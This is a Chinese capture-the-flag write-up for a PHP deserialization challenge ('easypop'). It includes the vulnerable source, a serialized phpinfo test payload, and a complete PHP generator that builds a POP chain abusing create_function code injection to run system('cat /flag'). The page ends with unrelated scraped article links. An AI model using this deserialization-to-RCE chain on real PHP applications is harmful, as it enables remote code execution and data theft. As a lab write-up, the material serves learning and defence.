源码分析

 <?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct()
{
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;
}
} class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
} unserialize($_GET[0]); ?>

一看到题,我对于unserialize($this->key)() 有点懵。在想对象反序列化后,这样怎么调用???或者入伏哦是对象当函数使用,又没有__invoke()之类的,会不会与内部类有关,但似乎都没解决办法。

后面一想,php弱类型语言,如果这个是我想要的函数字符串就好了,第一反应就想起来,序列化还可以对其他基本类型进行操作。。。gan,感觉刷题有点刷懵了,每次都是直接找对象来进行反序列化利用。这个地方直接序列化一个字符串不久ok了。于是直接去试了

?0=O:4:"func":3:{s:4:"mod1";N;s:4:"mod2";N;s:3:"key";s:14:"s:7:"phpinfo";";}

这里的主要部分就是后面的phpinfo字符串,序列化后又成为一个字符串,再加上一个(),完成phpinfo函数的调用

事实证明确实可以成功执行!!!这时候再回到题上来

很明显,这里就是要调用GetFlag::get_flag函数。如果这里反序列化一个类,他返回的是一个类,并不能形成$getFlag->get_flag()进行调用。

傻乎乎的竟然还是尝试了直接把它当作一个字符串,妄想达成目的,但事实说明,php真的就只会把他当作一个字符串进行调用。。。行动失败

后面来个一个小trick

类内的方法调用可以通过 [类,方法名]() 进行方法上的一个调用

前面可以看作一个数组,当反序列化成一个数组后,不久可以达成调用了吗。

所以这样是可以操作的。于是就可以开始构造一个payload用于完成get_flag()方法的调用了

可以看到最后其实就是指定一个函数,且需要满足 $code("",$action);

后面直接利用create_function注入,(不知道为什么可以就想到是create_function函数,那么多函数。。)

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

create_function()会创建一个匿名函数(lambda_样式)函数名是以lambda开头的一个自增的函数名,貌似当初做了一个关于爆破该函数的匿名函数名进行RCE的漏洞

create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); //返回lambda_1
//等效于
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}

它的原理就是将 参数传递进去,形成一个合法的字符串或者叫方法体,再通过Eval执行该字符串。由于是字符串拼接,自然也逃不了代码注入的缺陷!!!

它的构造流程就相当于

 function lambda_xxx(){
//传入的方法体及相关参数
}

再对方法体执行eval操作,当传入的方法体可控时,便可能触发RCE

<?php
error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __construct()
{
$this->key = serialize([new GetFlag(), "get_flag"]);
}
} class GetFlag
{
public $code;
public $action;
public function __construct()
{
$this->code = ";}system('cat /flag');//";
$this->action = "create_function";
}
} $a = new func();
echo urlencode(serialize($a));

成功拿到flag

不理解为什么code里要先闭合原来的函数,本地复现不用闭合也可以实现啊???疑惑

google大法好啊!!!

终于找到原因了

醍醐灌顶之文

该函数的底层实现》》》

》 function \0lambda_%d( function_args ) { function_code } \0

所以看传进去的位置,从而完成不同的注入

【2021赣网杯web(一)】gwb-web-easypop的更多相关文章

  1. Sentry Web 性能监控 - Web Vitals

    系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Maps Sentry For ...

  2. “此网页上的某个 Web 部件或 Web 表单控件无法显示或导入。找不到该类型,或该类型未注册为安全类型。”

    自从vs装了Resharper,看见提示总是手贱的想去改掉它.于是乎手一抖,把一个 可视web部件的命名空间给改了. 喏,从LibrarySharePoint.WebPart.LibraryAddEd ...

  3. 语义网 (Semantic Web)和 web 3.0

    语义网=有意义的网络. "如果说 HTML 和 WEB 将整个在线文档变成了一本巨大的书,那么 RDF, schema, 和 inference languages 将会使世界上所有的数据变 ...

  4. Web APi之Web Host消息处理管道(六)

    前言 我们知道Web API本身是无法提供请求-响应的机制,它是通过Web Host以及Self Host的寄宿的宿主方式来提供一个请求-响应的运行环境.二者都是将请求和响应抽象成HttpRespon ...

  5. JavaEE中Web服务器、Web容器、Application服务器区别及联系

    在JavaEE 开发Web中,我们经常会听到Web服务器(Web Server).Web容器(Web Container).应用服务器(Application Server),等容易混淆不好理解名词. ...

  6. nginx+iis、NLB、Web Farm、Web Garden、ARR

    nginx+iis实现负载均衡 在win2008R2上使用(NLB)网络负载均衡 NLB网路负载均衡管理器详解 [译文]Web Farm和Web Garden的区别? IIS负载均衡-Applicat ...

  7. HTML5:web socket 和 web worker

    a:hover { cursor: pointer } 做练习遇到了一个选择题,是关于web worker的,问web worker会不会影响页面性能?补习功课之后,答案是不会影响. 查阅了相关资料学 ...

  8. 走进云背后:微软Azure web 项目通过web service部署web site

    探索云那不为人知的故事(一):Web Services部署web site 前奏:Windows Azure是微软基于云计算的操作系统,现在更名为“Microsoft Azure”,和Azure Se ...

  9. [Java Web] 1、Web开发初识——一大堆历史和技术名词

    LZ前言 LZ最近发现网络真是个神奇的东西,以前做的好玩的只能自娱自乐(或者说顾影自怜),现在只要发一个帖子,写一个博客,很快能引来一大群小伙伴的围观(有时候还能遇见几个大牛给个战略性的指导)...L ...

随机推荐

  1. Oracle 19c 没有匹配的协议

    Oracle12c连接问题ORA-28040:没有匹配的验证协议 造成改问题的原因是客户端版本太低.修改sqlnet.ora文件可以让服务器适配低版本的客户端 sqlnet.ora文件中加入 SQLN ...

  2. 检查redis是否正常运行

    [XX@XXX]$ ps -ef | grep redisXX   8047 1 0 10:06 ? 00:00:03 redis-server *:6379XX   9983 9802 0 11:2 ...

  3. "迷途"的野指针,都快找不着北了

    指针,C语言开发者表示很淦,指针的使用,很多人表示不敢直面ta,不像Java一样,有垃圾自动回收功能,我们不用担心那么多内存泄漏等问题,那C语言里边呢,指针又分为了"野指针",&q ...

  4. vuex配置token和用户信息

    首先设计的是登录成功后端产生token,前端取出放在Local Storage,便于后面每个请求默认带上这里的token以及取用户相关信息 和main.js同级建store.js文件,代码如下 imp ...

  5. 基于I2C的AHT20温湿度传感器的数据采集

    关于:IC( Inter-- Integrated Circuit)总线是一种由 PHILIPS公司开发的两线式串行总线,用于连接微控制器及其外围设备.它是由数据线SDA和时钟SCL构成的串行总线,可 ...

  6. linux 入门系列-基础性知识

    1:初探linux-基于centos7 运维和服务器硬件组合 两种登录方式:(1)-------root:管理员登录权限较高,不建议初学者使用格式: [root@centos7 jinlong]# ( ...

  7. Rancher 下图形界面 搭建 K8S 集群

    首先我们准备4台 2核3G 的 centos 7 温馨提示:先安装好一台 CentOS 的虚拟机,并且安装好 docker,永久关闭防火墙. 再这个基础上我们分别克隆出四台 Rancher.K8S1. ...

  8. ORACLE,mysql中替换like的函数

    数据库中存储了海量的数据,当查询时使用like,速度明显变慢.我在做项目时,发现使用内部函数INSTR,代替传统的LIKE方式查询,并且速度更快. INSTR()函数返回字符串中子字符串第一次出现的位 ...

  9. Python 函数 参数传递

    参数传递    在 python 中,类型属于对象,变量是没有类型的:        a=[1,2,3]        a="Runoob"    以上代码中,[1,2,3] 是 ...

  10. 菜鸡的Java笔记 数据表与简单java类映射

    利用实际的数据表实现表与类的操作转换        简单java类是整个项目开发中的灵魂所在,它有自己严格的开发标准,而最为重要的是它需要于数据表是完全对应的        不过考虑到现在没有接触到过 ...